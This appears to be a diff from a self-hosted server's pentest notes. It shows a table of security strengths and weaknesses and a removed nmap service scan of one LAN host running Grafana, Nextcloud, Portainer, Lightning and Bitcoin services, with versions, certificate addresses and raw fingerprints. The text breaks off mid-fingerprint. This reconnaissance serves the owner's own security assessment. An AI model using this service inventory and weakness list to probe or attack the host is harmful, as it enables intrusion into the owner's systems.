| HttpOnly + SameSite=Strict cookies | CSP unsafe-inline |
| Rate limiting on login (5/min) | NPM port 81 open on LAN |
| CORS origin validation | connect-src too permissive |
| Session rotation on password change | Initial password only 8 chars |
| TOTP replay protection | Error messages confirm account existence |
| AES-256-GCM secrets at rest | Rate limiter enforcement unclear for some methods |

View File

@@ -1,659 +0,0 @@
# Nmap 7.98 scan initiated Wed Mar 18 11:29:44 2026 as: nmap -sV -sC --top-ports 1000 -oN /Users/dorian/Projects/archy/loop/pentest/recon/nmap.txt 192.168.1.228
Nmap scan report for 192.168.1.228
Host is up (0.0030s latency).
Not shown: 980 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 60:1f:1b:cb:db:5d:25:bf:35:37:9e:22:4c:c1:75:d5 (ECDSA)
|_ 256 1e:3f:6a:b7:4b:e2:d8:8b:ee:34:a4:fd:3b:e3:b7:44 (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Archipelago OS
81/tcp open http OpenResty web app server
|_http-title: Nginx Proxy Manager
|_http-server-header: openresty
443/tcp open ssl/http nginx 1.22.1
| ssl-cert: Subject: commonName=archipelago.local/organizationName=Archipelago/countryName=US
| Subject Alternative Name: DNS:archipelago.local, DNS:localhost, IP Address:127.0.0.1, IP Address:192.168.1.228, IP Address:192.168.1.198, IP Address:10.0.0.1
| Not valid before: 2026-02-17T21:33:45
|_Not valid after: 2027-02-17T21:33:45
|_http-title: Archipelago OS
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.22.1
3000/tcp open http Grafana http
|_http-trane-info: Problem with XML parsing of /evox/about
| http-robots.txt: 1 disallowed entry
|_/
| http-title: Grafana
|_Requested resource was /login
3001/tcp open nessus?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, NCP, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
| HTTP/1.1 400 Bad Request
| Connection: close
| FourOhFourRequest:
| HTTP/1.1 200 OK
| X-Frame-Options: SAMEORIGIN
| Content-Type: text/html; charset=utf-8
| Content-Length: 2444
| ETag: W/"98c-RxUaxZHFr+/FSabMqXO58T7mz+U"
| Date: Wed, 18 Mar 2026 11:29:58 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8" />
| <meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover" />
| <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
| <link rel="icon" type="image/svg+xml" href="/icon.svg" />
| <link rel="manifest" href="/manifest.json" />
| <meta name="theme-color" id="theme-color" content="" />
| <meta name="description" content="Uptime Kuma monitoring tool" />
| <title>Uptime Kuma</title>
| <style> .noscript-message {
| font-size: 20px;
| text-align: center;
| padding: 10px;
| max-width: 500px;
| marg
| GetRequest:
| HTTP/1.1 302 Found
| X-Frame-Options: SAMEORIGIN
| Location: /dashboard
| Vary: Accept
| Content-Type: text/plain; charset=utf-8
| Content-Length: 32
| Date: Wed, 18 Mar 2026 11:29:56 GMT
| Connection: close
| Found. Redirecting to /dashboard
| HTTPOptions, RTSPRequest:
| HTTP/1.1 200 OK
| X-Frame-Options: SAMEORIGIN
| Vary: Accept-Encoding
| Allow: GET,HEAD
| Content-Type: text/html; charset=utf-8
| Content-Length: 8
| ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
| Date: Wed, 18 Mar 2026 11:29:56 GMT
| Connection: close
|_ GET,HEAD
5678/tcp open rrac?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest:
| HTTP/1.1 400 Bad Request
| content-length: 0
| date: Wed, 18 Mar 2026 11:29:56 GMT
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| content-length: 9
| date: Wed, 18 Mar 2026 11:29:58 GMT
| Found
| GetRequest:
| HTTP/1.0 404 Not Found
| content-length: 9
| date: Wed, 18 Mar 2026 11:29:56 GMT
| Found
| HTTPOptions:
| HTTP/1.0 204 No Content
| vary: Origin
| date: Wed, 18 Mar 2026 11:29:56 GMT
| Kerberos, SMBProgNeg, SSLSessionReq, TerminalServerCookie, X11Probe:
| HTTP/1.1 400 Bad Request
| content-length: 0
| date: Wed, 18 Mar 2026 11:29:58 GMT
| TLSSessionReq:
| HTTP/1.1 400 Bad Request
| content-length: 0
|_ date: Wed, 18 Mar 2026 11:29:57 GMT
7777/tcp open http nginx 1.29.6
|_http-server-header: nginx/1.29.6
|_http-title: IndeedHub - Decentralized Media Streaming
8080/tcp open ssl/http Golang net/http server
| ssl-cert: Subject: commonName=archipelago/organizationName=lnd autogenerated cert
| Subject Alternative Name: DNS:archipelago, DNS:localhost, DNS:unix, DNS:unixpacket, DNS:bufconn, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1, IP Address:192.168.1.228, IP Address:10.88.0.1, IP Address:2A00:23C5:E31:A001:572F:29BF:5A00:2D46, IP Address:FE80:0:0:0:4A3A:E6DF:E0F8:DDAB, IP Address:FE80:0:0:0:D8CB:E8FF:FEAD:7A0C, IP Address:FE80:0:0:0:606A:44FF:FEA8:AC1A, IP Address:FE80:0:0:0:DC96:1DFF:FE05:62BF, IP Address:FE80:0:0:0:2868:B4FF:FEA9:A263
| Not valid before: 2026-02-02T21:52:55
|_Not valid after: 2027-03-30T21:52:55
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Type: application/json
| Date: Wed, 18 Mar 2026 11:30:18 GMT
| Content-Length: 45
| {"code":5,"message":"Not Found","details":[]}
| GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: application/json
| Date: Wed, 18 Mar 2026 11:30:02 GMT
| Content-Length: 45
| {"code":5,"message":"Not Found","details":[]}
| OfficeScan:
| HTTP/1.1 400 Bad Request: missing required Host header
| Content-Type: text/plain; charset=utf-8
| Connection: close
|_ Request: missing required Host header
|_ssl-date: TLS randomness does not represent time
8081/tcp open hadoop-datanode Apache Hadoop 1.29.6
| hadoop-secondary-namenode-info:
|_ Logs: glass-button px-3 py-1-5 rounded-lg text-xs font-medium
| hadoop-datanode-info:
|_ Logs: glass-button px-3 py-1-5 rounded-lg text-xs font-medium
|_http-title: LND - Archipelago
| hadoop-tasktracker-info:
|_ Logs: glass-button px-3 py-1-5 rounded-lg text-xs font-medium
8082/tcp open blackice-alerts?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| content-type: text/html; charset=utf-8
| server: Rocket
| permissions-policy: accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), camera=(), display-capture=(), document-domain=(), encrypted-media=(), execution-while-not-rendered=(), execution-while-out-of-viewport=(), fullscreen=(), geolocation=(), gyroscope=(), keyboard-map=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), screen-wake-lock=(), sync-xhr=(), usb=(), web-share=(), xr-spatial-tracking=()
| x-frame-options: SAMEORIGIN
| x-content-type-options: nosniff
| referrer-policy: same-origin
| x-xss-protection: 0
| content-security-policy: default-src 'self'; base-uri 'self'; form-action 'self'; object-src 'self' blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self' 'unsafe-inline'; child-src 'self' https://*.duosecurity.com https://*.duofederal.com; frame-src 'se
| GetRequest:
| HTTP/1.0 200 OK
| content-type: text/html; charset=utf-8
| cache-control: public, max-age=600
| expires: Wed, 18 Mar 2026 11:39:51 GMT
| server: Rocket
| permissions-policy: accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), camera=(), display-capture=(), document-domain=(), encrypted-media=(), execution-while-not-rendered=(), execution-while-out-of-viewport=(), fullscreen=(), geolocation=(), gyroscope=(), keyboard-map=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), screen-wake-lock=(), sync-xhr=(), usb=(), web-share=(), xr-spatial-tracking=()
| x-frame-options: SAMEORIGIN
| x-content-type-options: nosniff
| referrer-policy: same-origin
| x-xss-protection: 0
|_ content-security-policy: default-src 'self'; base-uri 'self'; form-action 'self'; object-src 'self' blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self' 'unsafe-inline'; child-src 'se
8083/tcp open http Golang net/http server
|_http-title: File Browser
| fingerprint-strings:
| FourOhFourRequest, GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: no-cache, no-store, must-revalidate
| Content-Type: text/html; charset=utf-8
| X-Xss-Protection: 1; mode=block
| Date: Wed, 18 Mar 2026 11:29:51 GMT
| <!doctype html>
| <html lang="en">
| <head>
| <meta charset="utf-8" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <meta
| name="viewport"
| content="width=device-width, initial-scale=1, user-scalable=no"
| <title>
| File Browser
| </title>
| <link
| rel="icon"
| type="image/png"
| sizes="32x32"
| href="/static/img/icons/favicon-32x32.png"
| <link
| rel="icon"
| type="image/png"
| sizes="16x16"
| href="/static/img/icons/favicon-16x16.png"
| <!-- Add to home screen for Android and modern mobile browsers -->
| <link
| rel="manifest"
| id="manifestPlaceholder"
|_ crossorigin="use-credentials"
8084/tcp open http OpenResty web app server
|_http-server-header: openresty
|_http-title: Default Site
8085/tcp open http Apache httpd 2.4.62 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/
| http-title: Login \xE2\x80\x93 Nextcloud
|_Requested resource was http://192.168.1.228:8085/login
|_http-server-header: Apache/2.4.62 (Debian)
8333/tcp open bitcoin?
| fingerprint-strings:
| RPCCheck:
| =/@v
| HVSI
| \x10
| d~._
| p>Rw*xG
| aRV,Q
| ta#|
| y3<%
| |'.xm
| ]g8,o
| \xbcP
| \xd0
| 0MF-ID`
|_ v[9q
8443/tcp open ssl/https-alt openresty
|_http-server-header: openresty
|_http-title: 400 The plain HTTP request was sent to HTTPS port
8888/tcp open sun-answerbook?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| content-type: text/html; charset=utf-8
| content-length: 4711
| server-timing: total;dur=5.729, render;dur=4.335
| x-content-type-options: nosniff
| x-download-options: noopen
| x-robots-tag: noindex, nofollow
| referrer-policy: no-referrer
| server: granian
| date: Wed, 18 Mar 2026 11:29:51 GMT
| <!DOCTYPE html>
| <html class="no-js theme-auto center-alignment-no" lang="en-EN" >
| <head>
| <meta charset="UTF-8">
| <meta name="endpoint" content="None">
| <meta name="description" content="SearXNG
| privacy-respecting, open metasearch engine">
| <meta name="keywords" content="SearXNG, search, search engine, metasearch, meta search">
| <meta name="generator" content="searxng/2026.2.3+f7a608703">
| <meta name="referrer" content="no-referrer">
| <meta name="robots" content="noarchive">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>SearXNG</ti
| GetRequest:
| HTTP/1.0 200 OK
| content-type: text/html; charset=utf-8
| content-length: 6292
| server-timing: total;dur=176.925, render;dur=154.939
| x-content-type-options: nosniff
| x-download-options: noopen
| x-robots-tag: noindex, nofollow
| referrer-policy: no-referrer
| server: granian
| date: Wed, 18 Mar 2026 11:29:51 GMT
| <!DOCTYPE html>
| <html class="no-js theme-auto center-alignment-no" lang="en-EN" >
| <head>
| <meta charset="UTF-8">
| <meta name="endpoint" content="index">
| <meta name="description" content="SearXNG
| privacy-respecting, open metasearch engine">
| <meta name="keywords" content="SearXNG, search, search engine, metasearch, meta search">
| <meta name="generator" content="searxng/2026.2.3+f7a608703">
| <meta name="referrer" content="no-referrer">
| <meta name="robots" content="noarchive">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>SearXNG</titl
| HTTPOptions:
| HTTP/1.0 200 OK
| content-type: text/html; charset=utf-8
| allow: GET, POST, OPTIONS, HEAD
| server-timing: total;dur=1.056, render;dur=0
| x-content-type-options: nosniff
| x-download-options: noopen
| x-robots-tag: noindex, nofollow
| referrer-policy: no-referrer
| content-length: 0
| server: granian
|_ date: Wed, 18 Mar 2026 11:29:51 GMT
9000/tcp open http Golang net/http server
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Cache-Control: max-age=31536000
| Content-Type: text/plain; charset=utf-8
| Vary: Accept-Encoding
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Wed, 18 Mar 2026 11:30:09 GMT
| Content-Length: 19
| page not found
| GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 307 Temporary Redirect
| Content-Type: text/html; charset=utf-8
| Location: /timeout.html
| Date: Wed, 18 Mar 2026 11:29:51 GMT
| Content-Length: 49
| href="/timeout.html">Temporary Redirect</a>.
| HTTPOptions:
| HTTP/1.0 307 Temporary Redirect
| Location: /timeout.html
| Date: Wed, 18 Mar 2026 11:29:51 GMT
| Content-Length: 0
| OfficeScan:
| HTTP/1.1 400 Bad Request: missing required Host header
| Content-Type: text/plain; charset=utf-8
| Connection: close
|_ Request: missing required Host header
| http-title: Portainer
|_Requested resource was /timeout.html
10009/tcp open ssl/grpc
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=archipelago/organizationName=lnd autogenerated cert
| Subject Alternative Name: DNS:archipelago, DNS:localhost, DNS:unix, DNS:unixpacket, DNS:bufconn, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1, IP Address:192.168.1.228, IP Address:10.88.0.1, IP Address:2A00:23C5:E31:A001:572F:29BF:5A00:2D46, IP Address:FE80:0:0:0:4A3A:E6DF:E0F8:DDAB, IP Address:FE80:0:0:0:D8CB:E8FF:FEAD:7A0C, IP Address:FE80:0:0:0:606A:44FF:FEA8:AC1A, IP Address:FE80:0:0:0:DC96:1DFF:FE05:62BF, IP Address:FE80:0:0:0:2868:B4FF:FEA9:A263
| Not valid before: 2026-02-02T21:52:55
|_Not valid after: 2027-03-30T21:52:55
50002/tcp open http nginx 1.29.6
|_http-title: ElectrumX - Archipelago
|_http-server-header: nginx/1.29.6
8 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port3001-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB0%P=arm-apple-darwin23.6.0%r
SF:(NCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n
SF:\r\n")%r(GetRequest,EC,"HTTP/1\.1\x20302\x20Found\r\nX-Frame-Options:\x
SF:20SAMEORIGIN\r\nLocation:\x20/dashboard\r\nVary:\x20Accept\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nContent-Length:\x2032\r\nDate:\
SF:x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\r\nConnection:\x20close
SF:\r\n\r\nFound\.\x20Redirecting\x20to\x20/dashboard")%r(HTTPOptions,FC,"
SF:HTTP/1\.1\x20200\x20OK\r\nX-Frame-Options:\x20SAMEORIGIN\r\nVary:\x20Ac
SF:cept-Encoding\r\nAllow:\x20GET,HEAD\r\nContent-Type:\x20text/html;\x20c
SF:harset=utf-8\r\nContent-Length:\x208\r\nETag:\x20W/\"8-ZRAf8oNBS3Bjb/SU
SF:2GYZCmbtmXg\"\r\nDate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\
SF:r\nConnection:\x20close\r\n\r\nGET,HEAD")%r(RTSPRequest,FC,"HTTP/1\.1\x
SF:20200\x20OK\r\nX-Frame-Options:\x20SAMEORIGIN\r\nVary:\x20Accept-Encodi
SF:ng\r\nAllow:\x20GET,HEAD\r\nContent-Type:\x20text/html;\x20charset=utf-
SF:8\r\nContent-Length:\x208\r\nETag:\x20W/\"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg
SF:\"\r\nDate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\r\nConnecti
SF:on:\x20close\r\n\r\nGET,HEAD")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x
SF:20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F,"
SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(
SF:DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnectio
SF:n:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:Connection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(TerminalServerCookie
SF:,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n
SF:")%r(TLSSessionReq,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection
SF::\x20close\r\n\r\n")%r(Kerberos,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nConnection:\x20close\r\n\r\n")%r(SMBProgNeg,2F,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(X11Probe,2F,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(FourOhF
SF:ourRequest,A5D,"HTTP/1\.1\x20200\x20OK\r\nX-Frame-Options:\x20SAMEORIGI
SF:N\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2
SF:02444\r\nETag:\x20W/\"98c-RxUaxZHFr\+/FSabMqXO58T7mz\+U\"\r\nDate:\x20W
SF:ed,\x2018\x20Mar\x202026\x2011:29:58\x20GMT\r\nConnection:\x20close\r\n
SF:\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n\x20\x20\x20\x20
SF:<meta\x20charset=\"UTF-8\"\x20/>\n\x20\x20\x20\x20<meta\x20name=\"viewp
SF:ort\"\x20content=\"width=device-width,\x20initial-scale=1\.0,\x20viewpo
SF:rt-fit=cover\"\x20/>\n\x20\x20\x20\x20<link\x20rel=\"apple-touch-icon\"
SF:\x20sizes=\"180x180\"\x20href=\"/apple-touch-icon\.png\">\n\x20\x20\x20
SF:\x20<link\x20rel=\"icon\"\x20type=\"image/svg\+xml\"\x20href=\"/icon\.s
SF:vg\"\x20/>\n\x20\x20\x20\x20<link\x20rel=\"manifest\"\x20href=\"/manife
SF:st\.json\"\x20/>\n\x20\x20\x20\x20<meta\x20name=\"theme-color\"\x20id=\
SF:"theme-color\"\x20content=\"\"\x20/>\n\x20\x20\x20\x20<meta\x20name=\"d
SF:escription\"\x20content=\"Uptime\x20Kuma\x20monitoring\x20tool\"\x20/>\
SF:n\x20\x20\x20\x20<title>Uptime\x20Kuma</title>\n\x20\x20\x20\x20<style>
SF:\x20\x20\x20\x20\x20\x20\x20\x20\.noscript-message\x20{\n\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20font-size:\x2020px;\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20text-align:\x20center;\n\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20padding:\x2010px;\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20max-width:\x20500px;\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20marg");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5678-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB5%P=arm-apple-darwin23.6.0%r
SF:(GetRequest,5B,"HTTP/1\.0\x20404\x20Not\x20Found\r\ncontent-length:\x20
SF:9\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\r\n\r\nNot\x
SF:20Found")%r(HTTPOptions,4E,"HTTP/1\.0\x20204\x20No\x20Content\r\nvary:\
SF:x20Origin\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\r\n\
SF:r\n")%r(RTSPRequest,54,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-l
SF:ength:\x200\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\r\
SF:n\r\n")%r(RPCCheck,54,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-le
SF:ngth:\x200\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\r\n
SF:\r\n")%r(DNSVersionBindReqTCP,54,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56
SF:\x20GMT\r\n\r\n")%r(DNSStatusRequestTCP,54,"HTTP/1\.1\x20400\x20Bad\x20
SF:Request\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x
SF:2011:29:56\x20GMT\r\n\r\n")%r(Help,54,"HTTP/1\.1\x20400\x20Bad\x20Reque
SF:st\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2011:
SF:29:56\x20GMT\r\n\r\n")%r(SSLSessionReq,54,"HTTP/1\.1\x20400\x20Bad\x20R
SF:equest\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2
SF:011:29:58\x20GMT\r\n\r\n")%r(TerminalServerCookie,54,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20Mar
SF:\x202026\x2011:29:58\x20GMT\r\n\r\n")%r(TLSSessionReq,54,"HTTP/1\.1\x20
SF:400\x20Bad\x20Request\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x2
SF:0Mar\x202026\x2011:29:57\x20GMT\r\n\r\n")%r(Kerberos,54,"HTTP/1\.1\x204
SF:00\x20Bad\x20Request\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20
SF:Mar\x202026\x2011:29:58\x20GMT\r\n\r\n")%r(SMBProgNeg,54,"HTTP/1\.1\x20
SF:400\x20Bad\x20Request\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x2
SF:0Mar\x202026\x2011:29:58\x20GMT\r\n\r\n")%r(X11Probe,54,"HTTP/1\.1\x204
SF:00\x20Bad\x20Request\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20
SF:Mar\x202026\x2011:29:58\x20GMT\r\n\r\n")%r(FourOhFourRequest,5B,"HTTP/1
SF:\.0\x20404\x20Not\x20Found\r\ncontent-length:\x209\r\ndate:\x20Wed,\x20
SF:18\x20Mar\x202026\x2011:29:58\x20GMT\r\n\r\nNot\x20Found");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8080-TCP:V=7.98%T=SSL%I=7%D=3/18%Time=69BA8CBB%P=arm-apple-darwin23
SF:.6.0%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(GetRequest,A0,"HTTP/1\.0\x20404\x20Not\x20Found\
SF:r\nContent-Type:\x20application/json\r\nDate:\x20Wed,\x2018\x20Mar\x202
SF:026\x2011:30:02\x20GMT\r\nContent-Length:\x2045\r\n\r\n{\"code\":5,\"me
SF:ssage\":\"Not\x20Found\",\"details\":\[\]}")%r(HTTPOptions,A0,"HTTP/1\.
SF:0\x20404\x20Not\x20Found\r\nContent-Type:\x20application/json\r\nDate:\
SF:x20Wed,\x2018\x20Mar\x202026\x2011:30:02\x20GMT\r\nContent-Length:\x204
SF:5\r\n\r\n{\"code\":5,\"message\":\"Not\x20Found\",\"details\":\[\]}")%r
SF:(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x2
SF:0text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad
SF:\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-
SF:Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n40
SF:0\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,A0,"HTTP/1\.
SF:0\x20404\x20Not\x20Found\r\nContent-Type:\x20application/json\r\nDate:\
SF:x20Wed,\x2018\x20Mar\x202026\x2011:30:18\x20GMT\r\nContent-Length:\x204
SF:5\r\n\r\n{\"code\":5,\"message\":\"Not\x20Found\",\"details\":\[\]}")%r
SF:(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(SIPOptions,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request")%r(Socks5,67,"HTTP/1\.1\x20400\x20Bad\x20Reque
SF:st\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20c
SF:lose\r\n\r\n400\x20Bad\x20Request")%r(OfficeScan,A3,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request:\x20missing\x20required\x20Host\x20header\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request:\x20missing\x20required\x20Host\x20header");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8082-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB0%P=arm-apple-darwin23.6.0%r
SF:(GetRequest,A9B,"HTTP/1\.0\x20200\x20OK\r\ncontent-type:\x20text/html;\
SF:x20charset=utf-8\r\ncache-control:\x20public,\x20max-age=600\r\nexpires
SF::\x20Wed,\x2018\x20Mar\x202026\x2011:39:51\x20GMT\r\nserver:\x20Rocket\
SF:r\npermissions-policy:\x20accelerometer=\(\),\x20ambient-light-sensor=\
SF:(\),\x20autoplay=\(\),\x20battery=\(\),\x20camera=\(\),\x20display-capt
SF:ure=\(\),\x20document-domain=\(\),\x20encrypted-media=\(\),\x20executio
SF:n-while-not-rendered=\(\),\x20execution-while-out-of-viewport=\(\),\x20
SF:fullscreen=\(\),\x20geolocation=\(\),\x20gyroscope=\(\),\x20keyboard-ma
SF:p=\(\),\x20magnetometer=\(\),\x20microphone=\(\),\x20midi=\(\),\x20paym
SF:ent=\(\),\x20picture-in-picture=\(\),\x20screen-wake-lock=\(\),\x20sync
SF:-xhr=\(\),\x20usb=\(\),\x20web-share=\(\),\x20xr-spatial-tracking=\(\)\
SF:r\nx-frame-options:\x20SAMEORIGIN\r\nx-content-type-options:\x20nosniff
SF:\r\nreferrer-policy:\x20same-origin\r\nx-xss-protection:\x200\r\nconten
SF:t-security-policy:\x20default-src\x20'self';\x20base-uri\x20'self';\x20
SF:form-action\x20'self';\x20object-src\x20'self'\x20blob:;\x20script-src\
SF:x20'self'\x20'wasm-unsafe-eval';\x20style-src\x20'self'\x20'unsafe-inli
SF:ne';\x20child-src\x20'se")%r(FourOhFourRequest,CD5,"HTTP/1\.0\x20404\x2
SF:0Not\x20Found\r\ncontent-type:\x20text/html;\x20charset=utf-8\r\nserver
SF::\x20Rocket\r\npermissions-policy:\x20accelerometer=\(\),\x20ambient-li
SF:ght-sensor=\(\),\x20autoplay=\(\),\x20battery=\(\),\x20camera=\(\),\x20
SF:display-capture=\(\),\x20document-domain=\(\),\x20encrypted-media=\(\),
SF:\x20execution-while-not-rendered=\(\),\x20execution-while-out-of-viewpo
SF:rt=\(\),\x20fullscreen=\(\),\x20geolocation=\(\),\x20gyroscope=\(\),\x2
SF:0keyboard-map=\(\),\x20magnetometer=\(\),\x20microphone=\(\),\x20midi=\
SF:(\),\x20payment=\(\),\x20picture-in-picture=\(\),\x20screen-wake-lock=\
SF:(\),\x20sync-xhr=\(\),\x20usb=\(\),\x20web-share=\(\),\x20xr-spatial-tr
SF:acking=\(\)\r\nx-frame-options:\x20SAMEORIGIN\r\nx-content-type-options
SF::\x20nosniff\r\nreferrer-policy:\x20same-origin\r\nx-xss-protection:\x2
SF:00\r\ncontent-security-policy:\x20default-src\x20'self';\x20base-uri\x2
SF:0'self';\x20form-action\x20'self';\x20object-src\x20'self'\x20blob:;\x2
SF:0script-src\x20'self'\x20'wasm-unsafe-eval';\x20style-src\x20'self'\x20
SF:'unsafe-inline';\x20child-src\x20'self'\x20https://\*\.duosecurity\.com
SF:\x20https://\*\.duofederal\.com;\x20frame-src\x20'se");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8083-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB0%P=arm-apple-darwin23.6.0%r
SF:(GetRequest,198D,"HTTP/1\.0\x20200\x20OK\r\nCache-Control:\x20no-cache,
SF:\x20no-store,\x20must-revalidate\r\nContent-Type:\x20text/html;\x20char
SF:set=utf-8\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Wed,\x20
